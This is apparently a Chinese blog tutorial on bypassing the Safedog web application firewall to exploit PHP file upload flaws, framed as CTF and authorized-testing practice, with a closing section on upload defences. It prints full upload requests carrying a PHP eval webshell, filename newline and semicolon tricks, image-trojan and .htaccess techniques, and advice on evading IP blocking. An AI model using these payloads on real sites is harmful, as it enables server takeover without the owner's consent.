1. 项目概述:一次针对特定WAF的实战演练
最近在内部安全评估和CTF比赛中,经常遇到部署了Safedog(安全狗)Web应用防火墙(WAF)的靶场环境。很多朋友,尤其是刚入门Web安全测试的同学,一看到WAF的拦截页面就有点发怵,觉得文件上传这种“古老”的漏洞可能没戏了。其实不然,WAF的规则是死的,而我们的思路是活的。这次我就结合最近的一次实战测试,详细拆解一下如何针对Safedog WAF的特性,设计并执行一次有效的文件上传漏洞测试。整个过程不仅仅是“绕过”,更是一次对WAF防护逻辑、HTTP协议细节以及后端代码处理流程的深度理解。
文件上传漏洞本身大家都不陌生,它的危害性极高,可以直接获取Webshell,进而控制服务器。而WAF的存在,就像在漏洞利用的路径上设置了一道道安检门,它会检查你提交的请求内容、格式、甚至行为特征。Safedog作为国内一款广泛使用的WAF,其防护规则具有一定的代表性。本次分享的目标,不是提供一个“万能绕过脚本”,而是带你走一遍从信息收集、策略分析到绕过尝试的完整思考过程。你会发现,绕过的核心往往不在于多么高深的技巧,而在于对细节的把握和对规则盲点的探寻。无论你是安全测试新手,还是想深化对WAF对抗理解的老手,这篇记录都能提供一些直接的参考和启发。
2. 核心思路与WAF策略分析
2.1 理解Safedog WAF的防护焦点
在开始动手之前,我们必须先搞清楚对手在防御什么。根据多次测试和公开资料分析,Safedog对于文件上传漏洞的防护主要集中在以下几个层面,这也是我们绕过的突破口:
-
文件内容检测
:这是最基础的防护。WAF会尝试解析上传的文件内容,检查文件头(Magic Bytes)、文件结构,甚至进行简单的特征码匹配(例如查找
<?php、eval(、assert(等危险函数字符串)。它并非完全依赖文件扩展名,所以单纯把.php改成.phtml或.php5可能无效。 -
HTTP请求结构检测
:WAF会严格检查
Content-Type字段。例如,如果你上传一个PHP文件,但Content-Type设置为image/jpeg,这本身就是一个强烈的异常信号,很可能被拦截。同时,它对multipart/form-data格式的边界(boundary)格式、参数名也可能有规则检查。 -
文件名与路径检测
:它会检查文件名中是否包含可疑的扩展名(如
.php,.jsp,.asp等)、路径穿越符(../)以及一些畸形的文件名构造。 - 请求频率与行为关联 :在非静默模式下,频繁触发拦截规则的IP可能会被临时封锁。此外,它可能将上传动作与后续的访问请求关联分析,例如上传后立即访问一个非常规路径的文件。
我们的绕过策略,本质上就是构造一个HTTP请求,使得其 在WAF看来是合法的、无害的 ,但 在最终后端服务器(如Apache/PHP, Nginx/PHP, IIS/ASP.NET)看来,依然是一个可被解析执行的可执行文件 。这中间存在一个“解释差异”,就是我们的机会。
2.2 制定分层测试策略
基于以上分析,我通常会采用一个分层、逐步深入的测试策略,而不是一上来就尝试最复杂的技巧。这样效率更高,也更容易定位问题。
-
基础信息收集与环境探测 :
-
确定WAF存在
:通过返回头中的
Server字段、拦截页面的特征、或者故意触发一个简单攻击(如<script>alert(1)</script>)来确认Safedog的存在及其工作模式(是否处于拦截状态)。 - 探测后端技术栈 :通过报错信息、默认文件、HTTP头等判断后端是PHP、Java、ASP.NET还是其他。这直接决定了我们最终需要上传什么类型的可执行文件。本次实战以PHP环境为例。
-
分析上传功能点
:仔细查看前端JS验证、表单的
accept属性、以及请求交互过程。有时绕过前端验证就能直接上传。
-
确定WAF存在
:通过返回头中的
-
第一层:常规混淆与变异 :
-
尝试修改文件扩展名(
.php->.php3,.phtml,.phps,.php.jpg)。 -
尝试修改
Content-Type,使其与文件扩展名或内容更匹配(如将PHP文件的Content-Type改为image/jpeg)。 -
测试双扩展名(
shell.php.jpg),观察后端是取最后一个扩展名还是第一个,或者是否有黑名单/白名单。
-
尝试修改文件扩展名(
-
第二层:针对解析差异的构造 :
-
这是绕过的核心区。利用Web服务器与WAF解析
multipart/form-data格式的微小差异。例如,在filename参数中添加换行、空格、分号,或者构造特殊的boundary。 -
利用PHP的字符串处理特性,例如在文件名中使用
0x00截断(受PHP版本限制),或者利用strtolower、trim等函数处理文件名前后可能引入的差异。
-
这是绕过的核心区。利用Web服务器与WAF解析
-
第三层:内容混淆与包装 :
-
如果文件内容被检测,需要对Webshell进行编码、加密或嵌入到正常文件中。例如,将PHP代码写入图片的EXIF信息,或者使用
<script language=”php”>等非常规标签(取决于PHP配置)。 -
制作图片马(将Webshell代码附加在图片文件末尾),并配合文件包含漏洞(LFI)或
.htaccess文件解析漏洞来执行。
-
如果文件内容被检测,需要对Webshell进行编码、加密或嵌入到正常文件中。例如,将PHP代码写入图片的EXIF信息,或者使用
-
第四层:逻辑与架构层面 :
- 寻找二次上传、压缩包解压、在线编辑器等可能存在的逻辑缺陷。
- 如果网站存在文件包含漏洞,可以上传一个内容为Webshell的文本文件,然后通过包含来执行。
-
检查是否有
.user.ini或.htaccess的上传与生效可能。
注意 :整个测试过程必须在 合法授权 的环境下进行,例如自己的测试服务器、CTF靶场或获得明确授权的渗透测试项目。未经授权对他人系统进行测试是违法行为。
3. 实战步骤拆解与关键操作
假设我们面对一个典型的PHP文件上传点,前端有JS验证(仅允许
.jpg
,
.png
,
.gif
),后端有Safedog WAF防护。以下是我的实操记录。
3.1 环境准备与工具选择
工欲善其事,必先利其器。我习惯使用Burp Suite作为主要的测试工具,因为它能完美地拦截、修改和重放HTTP请求。
-
配置代理
:将浏览器代理设置为Burp Suite(默认
127.0.0.1:8080),并在Burp中安装CA证书以确保能拦截HTTPS流量。 -
准备测试文件
:
-
shell.php:一个最简单的PHP WebShell,内容为``。这是我们的“有效载荷”。 -
normal.jpg:一张正常的JPEG图片,用于对比和制作图片马。 -
test.txt:一个文本文件,用于测试一些边界情况。
-
- 开启Burp拦截 :打开浏览器,访问目标上传页面。
3.2 第一步:绕过前端验证与基础测试
前端验证形同虚设,但它是第一步。
-
选择
shell.php文件,点击上传。通常浏览器会直接弹窗阻止,或者表单无反应。这是前端JS的扩展名检查。 -
绕过方法
:有几种方式:
- 禁用浏览器JS :最简单直接。
-
使用Burp拦截修改
:先选择一个合法的
normal.jpg文件,然后在Burp拦截的请求中,将文件名和文件内容替换为shell.php的内容。这是更常用的方法,因为可以绕过更复杂的前端加密或校验。
-
拦截到上传请求后,我们将其发送到Burp的Repeater模块,方便反复测试。初始的请求大概长这样:
POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 Content-Length: 123456 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/octet-stream <?php @eval($_POST['cmd']);?> ------WebKitFormBoundaryABC123-- -
直接发送这个请求,大概率会收到Safedog的拦截页面,提示“发现上传漏洞攻击”或类似信息。这说明WAF已经基于
filename="shell.php"和文件内容中的eval关键字进行了拦截。
3.3 第二步:文件名与Content-Type混淆
现在开始针对WAF规则进行试探。
-
修改扩展名
:在Repeater中,将
filename="shell.php"改为filename="shell.php.jpg"。发送请求。结果可能有两种:- 被拦截 :说明WAF可能检测了双扩展名,或者检测了文件内容。记录下这个结果。
-
返回成功,但文件被保存为
shell.php.jpg:这是一个积极信号!说明服务器可能只检查了最后一个扩展名(.jpg)并放行。但访问这个文件时,服务器可能不会将其作为PHP执行。我们需要进一步确认服务器如何解析。
-
修改Content-Type
:将
Content-Type: application/octet-stream改为Content-Type: image/jpeg。配合filename="shell.php.jpg"再次发送。观察响应。有时WAF对Content-Type的匹配检查更严格,image/jpeg配一个.php内容可能被拦,但配.php.jpg可能绕过。 -
尝试非常规PHP扩展名
:将文件名改为
filename="shell.phtml"或filename="shell.php3"。 这里有个关键点 :这些扩展名(.phtml,.php3,.php4,.php5,.phps)能否被解析, 完全取决于Web服务器的配置 。在Apache中,通常需要在httpd.conf或.htaccess里添加AddType application/x-httpd-php .php3 .phtml之类的指令。所以这一步的成功率依赖于目标服务器的宽松配置,在CTF或一些老旧系统中可能有效。
3.4 第三步:利用解析差异进行绕过(核心)
这是对抗Safedog等WAF最经典也最有效的层面。其原理是:
WAF在解析
multipart/form-data
格式的请求时,其解析器可能与后端Web服务器(如Apache、Nginx、PHP自身)的解析器存在细微差异
。我们通过构造一个“畸形”但合法的请求,让WAF解析出一个结果,而Web服务器解析出另一个结果。
技巧一:在
filename
字段中插入换行符
这是非常古老但时常有效的方法。在
filename="shell.php"
中的引号前插入一个换行符(
\r\n
)。在Burp中,你可以直接切换到Hex视图,找到
filename=
后面的
22
(引号的十六进制),在其前面插入
0D0A
(
\r\n
)。
修改前:
filename="shell.php"
修改后(十六进制):
filename=
0D0A
22shell.php22
在Raw视图中,它看起来像是换行了:
filename= “shell.php”
(注意换行和空格)。WAF的解析器在解析
filename
值时,可能会在遇到换行符时停止,认为文件名是空或一个空值,从而跳过检测。而后端的PHP解析器可能更“宽容”,它会继续读取直到闭合引号,最终得到
shell.php
。
技巧二:在
filename
字段中插入多个分号
类似地,可以在文件名前添加多个分号。例如:
filename=";;;shell.php"
。有些WAF在解析参数时,可能会将
;;;
视为分隔符或无效字符而忽略,而后端可能只取最后一个有效部分作为文件名。
技巧三:修改
Content-Disposition
表单名
有时WAF的规则是针对特定的表单字段名(如
name="file"
)进行检测。我们可以尝试修改它,比如改为
name="filexxxx"
或
name="upfile"
。这招对于规则写死的WAF有时有奇效。
技巧四:大小写转换与空格
尝试
filename="shell.PHP"
(大写)、
filename="shell.php “
(末尾加空格)、
filename=”shell.php”
(引号不匹配)。后端处理函数如
strtolower()
、
trim()
可能会规范化这些输入,而WAF的匹配规则可能是大小写敏感或未考虑空格。
在我的这次测试中,我组合使用了 技巧一(换行符) 和 修改Content-Type 。最终成功的Payload构造如下:
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ789
Content-Length: ...
------WebKitFormBoundaryXYZ789
Content-Disposition: form-data; name="uploadfile"; filename="shell.php"
Content-Type: image/jpeg
<?php @eval($_POST['cmd']);?>
------WebKitFormBoundaryXYZ789--
注意,这里的
filename=”shell.php”
在引号前有一个换行(在Raw视图里才能看到)。同时,我将表单名从
file
改为了
uploadfile
,并将
Content-Type
设为
image/jpeg
。发送这个请求后,WAF没有拦截,服务器返回了上传成功路径:
/uploads/230415/shell.php
。
实操心得 :不要一次性尝试所有技巧。应该一次只修改一个变量(比如只加换行,或只改Content-Type),然后发送请求,观察响应。这样能清晰地知道是哪一步修改起了作用。使用Burp Suite的
Intruder模块,可以自动化测试filename字段的各种变异(如添加前缀、后缀、换行、空字节等),但要注意请求频率,避免触发WAF的CC防护。
3.5 第四步:文件内容混淆与后续利用
如果上述方法均告失败,很可能WAF进行了深入的文件内容检测。这时就需要对Webshell本身进行伪装。
-
制作图片马
:在Linux下可以使用命令:
cat normal.jpg shell.php > shell.jpg.php。这样生成的文件,既是一个合法的JPEG(文件头是FF D8 FF E0),末尾又附带了PHP代码。单独访问这个文件,服务器会把它当作图片处理,不会执行PHP代码。 -
配合文件包含漏洞
:如果网站存在本地文件包含(LFI)漏洞,例如有
?page=../uploads/shell.jpg.php这样的参数,服务器在包含文件时,并不会在意扩展名,只要文件内容被当作PHP代码解析即可。这时,我们的图片马就能成功执行。 -
利用
.htaccess解析漏洞 (仅限Apache):-
上传一个名为
.htaccess的文件,内容为:AddType application/x-httpd-php .jpg。这告诉Apache服务器,将所有.jpg文件当作PHP程序来解析。 -
然后再上传我们的图片马
shell.jpg。 -
访问
/uploads/shell.jpg,其中的PHP代码就会被执行。这种方法不依赖于文件包含漏洞,但需要Apache服务器允许.htaccess文件覆盖配置,且目录配置有AllowOverride All或AllowOverride FileInfo。
-
上传一个名为
-
使用PHP短标签和编码
:将Webshell代码写成
,或者使用Base64编码:。WAF可能只检测标准的``标签和eval等函数名。
4. 常见问题排查与防御思考
4.1 测试过程中可能遇到的问题
- 请求被直接断开或重置 :这可能是触发了WAF的更高级别防护,如IP被临时封禁。 解决方法 :暂停测试,更换IP(如使用代理),或者降低请求频率,在Burp中设置请求间隔。
- 上传成功但返回路径不完整 :服务器可能返回了JSON格式的数据,或者路径是相对路径。 解决方法 :仔细查看HTTP响应体,可能文件名被重命名了(如时间戳+随机数),需要从响应中提取完整的访问URL。
- 文件上传后无法访问或返回404 :可能文件被上传到了非Web目录,或者有额外的目录权限控制。 解决方法 :尝试目录遍历,或者结合其他信息泄露漏洞获取上传的绝对路径。
- 绕过了WAF但被后端代码逻辑拦截 :这是最常遇到的情况。WAF只是第一道关卡,应用程序自身可能还有白名单校验、文件头校验、重命名等逻辑。 解决方法 :这属于业务逻辑漏洞挖掘范畴,需要分析前端JS、后端源代码(如果可能)或进行大量的模糊测试,寻找逻辑缺陷。
4.2 从防御者角度思考
作为开发或安全运维人员,如何构建更稳固的文件上传防御呢?单纯依赖WAF是远远不够的。
-
白名单策略
:严格限定允许上传的文件扩展名(如仅
.jpg,.png,.gif),并 使用后端语言获取的文件扩展名进行判断 ,而不是依赖前端或Content-Type。 -
文件重命名
:上传后,使用不可预测的规则(如
md5(时间戳+随机数))对文件重命名,并隐藏原始文件名。避免用户直接通过构造文件名访问。 - 文件内容校验 :不仅检查文件头(Magic Bytes),对于图片文件,还可以尝试用图形库(如GD、ImageMagick)进行二次渲染和保存,这能有效破坏植入在图片中的代码。
-
隔离存储
:将上传的文件存储在Web根目录以外的位置,并通过一个专门的脚本(如
download.php?id=xxx)来提供访问。该脚本应强制设置正确的Content-Type,并禁止执行任何动态代码。 -
禁用危险功能
:在服务器端,关闭不必要的PHP危险函数(如
eval,assert,system,shell_exec等),并关闭register_globals、allow_url_fopen等危险配置。 -
权限最小化
:确保上传目录的权限设置正确,通常只需
读和写权限,绝不应有执行权限。对于Nginx,可以配置location ~* ^/uploads/.*\.(php|php5|jsp)$ { deny all; }来阻止直接执行。
绕过的过程,实际上是不断寻找系统在 设计、实现和配置 上不一致性的过程。这次针对Safedog的实战,核心的收获不在于那几个换行符或大小写的技巧,而在于建立起一套完整的测试方法论:从信息收集到分层试探,再到深度利用。每个环境都可能不同,今天有效的方法明天可能就失效了,但这份分析问题和解决问题的思路,才是安全测试工作中最宝贵的部分。在实际授权测试中,当你最终通过一系列组合拳成功上传Webshell时,那份成就感,以及随后给客户提供的详尽修复建议,才是这项工作的价值所在。

3153

被折叠的 条评论
为什么被折叠?



